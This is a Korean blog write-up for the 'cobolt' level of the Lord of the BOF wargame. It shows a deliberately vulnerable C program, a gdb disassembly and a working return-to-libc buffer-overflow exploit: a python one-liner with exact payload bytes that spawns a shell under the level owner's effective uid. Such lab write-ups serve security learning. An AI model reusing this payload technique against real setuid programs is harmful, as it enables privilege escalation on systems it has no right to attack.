LOB gremlin => cobolt

c0wb3ll ㅣ 2020. 3. 14. 00:59

LOB gremlin => cobolt

소스코드

[gremlin@localhost gremlin]$ cat cobolt.c 
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
[gremlin@localhost gremlin]$ 

gremlin 단계랑 다른건 버퍼의 크기밖에 없는 것 같다.
gremlin 단계에서 의도했던 것은 놉슬레드를 이용하거나 버퍼에 쉘코드를 넣어 ret를 조작하여 쉘코드를 실행하여 상위 권한을 얻는것이었나 보다. 하지만 이미 풀어버린걸 어쩔까 gremlin과 같은 방식으로 문제를 풀겠다.


취약점

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
  1. argv[1]을 buffer로 옮겨가는데 한도가 없다.
  2. 따라서 16byte 이상의 문자열을 인자로 주면 buffer를 넘어 메모리를 덮어쓸 수 있다.

풀이

[gremlin@localhost tmp]$ gdb cobolt 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:    push   %ebp
0x8048431 <main+1>:    mov    %ebp,%esp
0x8048433 <main+3>:    sub    %esp,16
0x8048436 <main+6>:    cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    %esp,8
0x8048479 <main+73>:    leave  
0x804847a <main+74>:    ret    
0x804847b <main+75>:    nop    
0x804847c <main+76>:    nop    
0x804847d <main+77>:    nop    
0x804847e <main+78>:    nop    
0x804847f <main+79>:    nop    
End of assembler dump.
(gdb)

buffer의 위치는 ebp-16인것 같다. 익스코드는

buffer[16] + sfp[4] + ret(&system()) + 'AAAA' + "/bin/sh" 문자열

로 주면 될 것 같다.

(gdb) b*main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/gremlin/tmp/cobolt 

Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

system() 함수의 주소는 0x40058ae0이다.

[gremlin@localhost gremlin]$ export bin="/bin/sh" 
[gremlin@localhost gremlin]$ vi bin.c
[gremlin@localhost gremlin]$ gcc -o pobolt bin.c
[gremlin@localhost gremlin]$ ./pobolt 
envfunc bin address is 0xbffffefb
[gremlin@localhost gremlin]$ ls                

/bin/sh문자열을 등록해둔 환경변수의 주소는 0xbffffefb이다.

[gremlin@localhost gremlin]$ ./cobolt `python -c "print 'A'*20 + '\xe0\x8a\x05\x40' + 'AAAA' + '\xfb\xfe\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAA?@AAAA畵
bash$ id    
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ 

종합하여 익스코드를 짜면 cobolt의 권한을 딸 수 있다.